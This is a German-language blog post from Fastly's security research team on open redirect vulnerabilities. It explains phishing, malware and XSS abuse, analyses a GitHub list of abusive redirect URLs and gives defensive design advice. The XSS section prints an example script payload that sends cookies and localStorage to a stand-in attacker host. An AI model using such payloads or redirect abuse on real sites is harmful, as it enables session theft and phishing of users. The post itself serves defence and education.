Open Redirects: Praxisbeispiele und Empfehlungen

Offene URL-Umleitungen sind ein Sicherheitsproblem bei Web-Anwendungen, das es Angreifern erleichtert, Nutzer auf bösartige Ressourcen umzuleiten. Diese Schwachstelle, die auch als „Open Redirects“ bezeichnet wird, tritt auf, wenn Angreifer Informationen an eine Anwendung übermitteln können, durch die sich Nutzer an einen anderen Ort umleiten lassen. Bei diesem Ort kann es sich um eine Website oder einen Server handeln, die vom Angreifer kontrolliert und zur Verteilung von Malware genutzt werden. Ziel dabei ist es, Nutzer dazu zu verleiten, einem Link zu vertrauen, bösartigen Code auf vertrauenswürdige Weise auszuführen, Werbebetrug zu betreiben oder sogar SEO-Manipulationen durchzuführen. Zu wissen, wie Open Redirects missbraucht werden können, ist sicherlich hilfreich. Aber noch wichtiger ist es, zu wissen, wie man sie von vornherein umgehen kann.

Eines unserer Ziele im Fastly Security Research Team ist es, die Taktiken zu verstehen, die Angreifer verwenden, um Anwendungen zu manipulieren, und wie sie gestoppt werden können. Angreifer machen sich die Tricks anderer zunutze, wenn sie damit ihre Ziele erreichen können. Wenn wir also Praxisbeispiele unerwünschter Aktivitäten kennen, die von beliebigen Motiven angetrieben werden, können wir verstehen, wie ein Angreifer dieselben Methoden und Tools für böswillige Zwecke nutzen könnte. Daher waren wir daran interessiert, bei einer unserer Recherchen ein GitHub-Repository voller Redirects zu finden.

In diesem Blogpost führen wir Sie durch die Ergebnisse unserer Recherchen und erläutern Ihnen, wie Redirects verwendet werden, wie sie missbraucht werden können und wie Sie diesen Missbrauch verhindern können.

Das Risiko von URL Redirects

Seit Jahren versuchen wir, Endnutzern beizubringen, einen Link zu prüfen, bevor sie ihn anklicken. In Sicherheitsschulungen werden häufig Beispiele gezeigt, wie man sich vor dem Anklicken vergewissern kann, dass man über einen Link zur erwarteten Domain gelangt.

Ein einfaches Beispiel ist, sich zu vergewissern, das man auf einen Link wie Folgenden klickt:

goodexample.com

… und nicht etwa auf einen wie Folgende:

goodexample.com.badexample.com
goodexample-com-badexample.com

Mit solchen Schulungsbeispielen wären die Nutzer jedoch nicht auf eine Website wie Folgende vorbereitet, die Redirects akzeptiert:

goodexample.com/redir.php?q=badexample.com

Wenn überhaupt, wurde den Endnutzern ausdrücklich beigebracht, diesem speziellen Beispiel zu vertrauen, auch wenn es am Ende zu badexample.com umleitet. Daher müssen die Entwickler und Administratoren einer Website sicherstellen, dass ihre Technologie nicht dazu verwendet werden kann, den Nutzer auf eine unbeabsichtigte Website umzuleiten. Gelingt ihnen dies nicht, kann die Umleitung ihren Ruf schädigen und ihren Nutzern direkten Schaden zufügen.

Was genau sind also Open Redirects?

Redirects sind ein relativ einfaches Konzept. Eine Web-Anwendung kann Ihrem Browser sagen, dass er im Rahmen seines normalen Betriebs automatisch zu einer anderen Website wechseln soll. Dies geschieht immer wieder aus einfachen Gründen, etwa wenn von der HTTP-Version einer Website auf die verschlüsselte HTTPS-Version umgeleitet wird oder wenn Websites ihren Endpoint von /oldapp auf /newapp ändern. Dies kann über die HTTP-Antwort, in HTML oder in JavaScript erfolgen:

HTTP-Antwort:

HTTP/1.1 301 Moved Permanently
Location: https://www.example.com/newapp

HTML:

<meta http-equiv="refresh"
content="5;URL='https://www.example.com/newapp'"/>

JavaScript:

window.location.href = 'https://www.example.com/newapp'

In diesen Beispielen sieht ein Nutzer, der http://www.example.com/oldapp besucht und diese Antworten erhalten hat, dass sein Browser automatisch den neuen Speicherort unter
https://www.example.com/newapp öffnet. Im Gegensatz zu diesen Beispielen, bei denen die Umleitung innerhalb derselben Domain erfolgt, sind Open Redirects unbeabsichtigt und leiten den Nutzer auf eine vom Angreifer kontrollierte Seite um.

Bei Open Redirects kann die umgeleitete URL von außerhalb der Anwendung angegeben werden, und es kann ein beliebiger Speicherort angegeben werden. In der URL goodexample.com/redir.php?q=badexample.com zum Beispiel akzeptiert die Anwendung redir.php den Query-String q=badexample.com und leitet zu badexample.com um.

Open Redirects lassen sich weiter in drei Verhaltensweisen unterteilen:

  • Völlig transparent für den Nutzer. Eine Server-Antwort über eine 3xx-Umleitung fällt immer in diese Kategorie, und auch HTML/JavaScript kann je nach Implementierung in diese Kategorie fallen.

  • Verzögert, aber immer noch keine Nutzereingabe erforderlich. Im obigen HTML-Beispiel steht die Zahl 5 für eine 5-sekündige Verzögerung vor der automatischen Umleitung. Auf diese Weise kann eine Seite den Nutzer davor warnen, was gleich passiert, die Umleitung erfolgt aber trotzdem automatisch.

  • Erfordert Nutzereingaben. Eine Seite, die keinesfalls umleitet, ohne dass der Nutzer etwas anklickt, fällt in diese Kategorie. Dies erschwert den Vertrauensmissbrauch erheblich und stellt eine Implementierung mit einem viel geringeren Risiko dar, wenn der Nutzer dabei vor bestimmten Aktionen gewarnt wird.

Böswilliger Missbrauch von Redirects

Die einfachsten Beispiele für den Missbrauch von URL-Umleitungen sind Phishing und die Verbreitung von Malware, aber auch Cross Site Scripting (XSS) ist durch Redirects möglich.

Phishing

Der beliebteste Angriffsmechanismus, um einen bösartigen Link zu übermitteln, ist die E-Mail, da sie die Möglichkeit bietet, einen Köder zu übermitteln. Der Köder ist der Text der E-Mail, der eine Botschaft und einen Handlungsaufruf enthält, mit dem ein Angreifer sein Opfer davon überzeugen will, auf einen Link zu klicken.

Einige beliebte Lockversuche erzeugen ein Gefühl der Dringlichkeit im Zusammenhang mit Finanzbetrug, während andere den Empfänger mit neuen Informationen über ein aktuelles Ereignis locken. Alles, was sich für den Endnutzer natürlich oder dringend anfühlt, kann zum Öffnen eines Links führen.

Phishing-Angriffe tarnen sich oft als vertrauenswürdige Websites an böswilligen Speicherorten und warten darauf, dass Nutzer versuchen, sich anzumelden. Ein Angreifer könnte zum Beispiel eine nachgebildete Banking-Website auf einer von ihm kontrollierten Domain hosten und anschließend eine URL mit Open Redirects auf der Banking-Website erstellen, um Nutzer auf die bösartige Website umzuleiten:

https://goodbank.example.com/external-link.jspa?
url=https%3A%2F%2Fphishingexample.com/goodbankfrauddept

In diesem Beispiel missbraucht der Angreifer goodbank.example.com, um auf die von ihm kontrollierte URL phishingexample.com/goodbankfrauddept umzuleiten.

Malware

Die Verbreitung von Malware über Open Redirects ist dem Phishing-Fall sehr ähnlich. Der einzige Unterschied besteht darin, dass das endgültige Ziel keine Phishing-Seite, sondern eine bösartige Datei ist:

https://goodhealthsite.example.com/exit.asp?
url=https%3A%2F%2Fmalwareexample.com/currentevent.pdf

Hier hat goodhealthsite.example.com ein Open Redirect, das dazu führt, dass der Nutzer die bösartige Datei von malwareexample.com/currentevent.pdf herunterlädt.

XSS

Angreifer können auch das inhärente Vertrauen des Browsers in Code missbrauchen, der von der ursprünglichen URL stammt. JavaScript kann als Umleitungsziel übermittelt werden, was den Browser veranlasst, den Code auszuführen, wenn er zurück an den Nutzer gesendet wird. Diese Art von Angriff wird als „reflektiertes XSS“ bezeichnet, da der Browser den Code an die Anwendung sendet und der Code dann an den Browser des Nutzers zurückgesendet wird. Bei dieser Art von Angriff führt der Browser den Code innerhalb der Website aus, wodurch bösartiger Code ausgeführt oder sogar lokal gespeicherte Daten aus dem Browser gestohlen werden können.

https://example.com/proxy.php?
link=%3Cscript%3Eimage%20%3D%20new%20Image%28%29%3B%20image.src%3D%22https%3A%
2F%2Fcollectionexample.com%2F%3Fc%3D%22%2Bdocument.cookie%2B%22ls%3D%22%2BJSON.st
ringify%28localStorage%29%3B%3C%2Fscript%3E

So sieht die entschlüsselte Version der URL aus:

https://example.com/proxy.php?link=<script>image = new Image();
image.src="https://collectionexample.com/?c="+document.cookie+"ls="+JSON.stringify(localStorage);
</script>

In diesem Beispiel nimmt der Browser des Nutzers alle verfügbaren Cookies und lokal gespeicherten Informationen für example.com und sendet sie an die vom Angreifer kontrollierte Domain collectionexample.com.

Dabei gilt zu beachten, dass moderne Browser den JavaScript-Protokoll-Handler im Location-Header-Feld nicht akzeptieren. Das bedeutet, dass der Browser JavaScript nicht ausführt, wenn die HTTP-Antwort umgeleitet und stattdessen JavaScript geliefert wird. Damit das obige XSS-Beispiel hzum Erfolg führt, müsste die URL also an anderer Stelle auf der Seite abgebildet werden. Viele Umleitungsimplementierungen zeigen dem Nutzer jedoch vor der eigentlichen Umleitung an, wohin er umgeleitet wird. Die Umleitung erfolgt
also in HTML oder JavaScript, wodurch genau dieser Angriff auf solchen Seiten möglich ist.

Aktive Nutzung von Redirects

Wir sind grundsätzlich daran interessiert, inwiefern diese Techniken aktiv zum Einsatz kommen. Durch eine vor Kurzem durchgeführte Datenanalyse wurden wir auf einen interessanten GitHub Nutzer aufmerksam, der nicht mehr aktiv ist (https://github.com/sonalimandloi/).

Die Dateien, die dieser Nutzer in seinen Repositories gespeichert hatte, enthalten mehr als 18.000 Zeilen mit URLs, bei denen es sich offenbar um Missbrauchsversuche mit Open Redirects handelt. Sie lassen sich jedoch in eine relativ kleine Anzahl von Gruppen unterteilen.

url components
  • 87 % der URLs enthalten einen Query String, der versucht, Open Redirects zu missbrauchen, um Anfragen auf 13 Domains umzuleiten.

  • 12 % sind Links zu nicht verwandten Websites, auf denen Nutzerkonten mit Links zurück zur obigen Domain-Liste erstellt wurden. Die erstellten Nutzernamen sind auf allen Websites gleich.

  • Weniger als 1 % sind URL-Verkürzer oder Links zu direkten Blogeinträgen, die ebenfalls beide auf die oben genannten Domains verweisen.

Was bezweckt dieser Nutzer?

Um den Wert einer Website zu ermitteln, wird in der Regel danach gefragt, wie viele andere Websites auf sie verweisen oder zugreifen. Die sich daraus ergebenden Werte fließen in die Suchmaschinenergebnisse, den Anzeigenwert oder sogar in den Verkaufswert einer Domain ein. Auch wenn das eigentliche Ziel dieses Nutzers unklar ist, so ist doch klar, dass er versuchte, die Sichtbarkeit und den Wert der Websites zu erhöhen, und Open Redirects gehörten zu seiner Strategie, um dies zu erreichen.

URL-Umleitungen

Das Verhalten dieses Nutzers bietet nützliche Einblicke in eine große Anzahl von missbräuchlichen Umleitungen, die uns helfen können, mehr darüber zu erfahren, wie wir sie in freier Wildbahn finden können. Einblicke in potenzielle SEO-Manipulationen zu erhalten, ist zwar faszinierend, aber für das Thema Security nur bedingt von Nutzen.

Die von uns überprüften Quelldaten enthalten mehr als 3.000 eindeutige Redirects, die in den Dateien aufgeführt sind. Viele davon scheinen einen Klick des Nutzers zu erfordern (was zeigt, dass die Manipulation möglicherweise keine transparente Umleitung erforderte), und viele weitere funktionieren nicht mehr. Mindestens neun Monate nach ihrer Auflistung weisen jedoch 23 der eindeutigen Open Redirect URLs nach wie vor eine vollständige URL-Umleitung auf.

Die Strukturen solcher URLs können Aufschluss darüber geben, wie man am besten nach ihnen sucht. Die Top 10 der beobachteten Redirects sind:

urls

Die gute Nachricht ist, dass eine Reihe dieser Redirects einem typischen Sicherheitsteam womöglich nicht entgehen würden. Endpoint-Begriffe wie url, external-link, proxy, redir, page und exit sind allesamt Elemente, die bewertet werden sollten, um sicherzustellen, dass Redirects nicht von außerhalb des vorgesehenen Bereichs möglich sind. Wir empfehlen dringend, Ihren eigenen Footprint nach diesen Endpoint-Typen zu durchsuchen und sie auf Open Redirects zu testen. Die Tests können durch Einfügen von kodierten und dekodierten URLs in jede Anwendung durchgeführt werden, die in der Lage ist, Nutzer an einen anderen Ort umzuleiten.

Es gibt jedoch auch Endpoints in der Liste, die nicht als unerwünscht auffallen. Ihre Query-Argumente bieten jedoch eine weitere Möglichkeit, potenzielle Probleme aufzuzählen. Argumente wie url, link, goto, gotoURL und outLink bieten gute Möglichkeiten, Open Redirects von einer Anwendung, die auf Ihrem Footprint läuft, zu identifizieren.

Verhinderung von Missbrauch

Nachdem wir nun wissen, wie Open Redirects missbraucht werden können, und einige gängige Namen kennen, die von Angreifern genutzt werden, gilt es jetzt darüber zu sprechen, wie man Anwendungen so gestaltet, dass sie gar nicht erst missbraucht werden. Die wichtigste Frage, die man sich in der Entwurfsphase eines Projekts stellen sollte, lautet: „Müssen wir überhaupt einen Redirect bereitstellen?“ Es gibt triftige Gründe dafür, dass
eine Anwendung ausgehende Links nachverfolgen möchte, aber sie erfordern zusätzliche Designüberlegungen, um sie vor Missbrauch zu schützen. Ihr Unternehmen sollte abwägen, ob sich der zusätzliche Aufwand lohnt oder ob es besser ist, ganz auf Umleitungen zu verzichten.

Wenn sich Ihr Unternehmen dennoch für die Implementierung von Redirects entscheidet, besteht die optimale Abwehr darin, Nutzereingaben vollständig zu vermeiden. Indem Sie Umleitungen nur dann bereitstellen, wenn die Anwendung dies erfordert, vermeiden Sie die beträchtliche Angriffsfläche von Nutzereingaben. Wenn dies aber nicht den Anforderungen der Anwendung entspricht, kann eine vordefinierte Liste von URLs, die ordnungsgemäß
abgeglichen werden, verhindern, dass beliebige bösartige Ziele eingefügt werden.

Wenn eine Umleitung auf Grundlage von Nutzereingaben erforderlich ist, empfiehlt es sich, die Schemata zu begrenzen, die für den Redirect verwendet werden können. Die Beschränkung der Eingabe auf http- oder https-URLs kann zum Beispiel dazu beitragen, die oben beschriebenen JavaScript Risiken zu begrenzen.

Viele der in freier Wildbahn beobachteten Umleitungen führen nur dann einen Redirect durch, wenn der Nutzer auf einen Link klickt oder eine Schaltfläche auf der Seite betätigt. Oft wird dem Nutzer eine visuelle Warnung angezeigt, die ihn über das Risiko aufklärt, das er eingeht, wenn er fortfährt. Leider wissen wir alle, dass Menschen oft nicht gründlich lesen, wenn sie es eilig haben, und manche finden diese Warnungen verwirrend. Obwohl diese Warnmeldungen das Nutzerverhalten verändern könnten, empfehlen wir dennoch, die oben genannten Empfehlungen in das Softwaredesign einfließen zu lassen. Weitere Informationen zu diesem Thema finden Sie im OWASP-Leitfaden für Open Redirects.

Nächste Schritte

Wir haben GitHub über das Repository voller Open Redirects benachrichtigt und auch alle
Besitzer von URLs, die für noch funktionierende Open Redirects anfällig sind, über ihr Missbrauchspotenzial informiert. Wir wissen jedoch, dass die Liste der Endpoints dieses einen Nutzers nicht die Gesamtheit aller existierenden Endpoints darstellt.

Wir möchten Sie alle ermutigen, darüber nachzudenken, wie Sie den Missbrauch von Open Redirects in Ihren eigenen Umgebungen erkennen und sich davor schützen können, und wie Sie die hier zur Verfügung gestellten Informationen nutzen können, um Ihren Entwickler- und Sicherheitsteams auf den richtigen Weg zur Implementierung dieser Art von Funktion in Ihrer Umgebung bringen können.

Wenn Sie mehr darüber erfahren möchten, wie Fastly Sie bei Ihren Sicherheitsanforderungen unterstützen kann, besuchen Sie https://www.fastly.com/products/cloud-security.

Fastly Security Research Team
Security Research Team von Fastly
Veröffentlicht am

Lesedauer: 9 Min.

Sie möchten sich mit einem Experten austauschen?
Sprechen Sie mit einem Experten
Diesen Beitrag teilen
Fastly Security Research Team
Security Research Team von Fastly

Der Schwerpunkt des Security Research Teams von Fastly liegt darauf, unseren Kunden die für die Sicherheit ihrer Systeme relevanten Tools und Daten zur Verfügung zu stellen. Das Team setzt sich aus einer Handvoll engagierter Sicherheitsexperten mit einem gemeinsamen Ziel zusammen: Angriffen vorzubeugen und letztlich die bestmögliche Security in einer sich ständig entwickelnden Weblandschaft bereitzustellen.


Mit im Team sind:



  • Simran Khalsa, Senior Security Researcher

  • Arun Kumar, Senior Security Researcher

  • Kelly Shortridge, Senior Principal, Product Technology

  • Xavier Stevens, Staff Security Researcher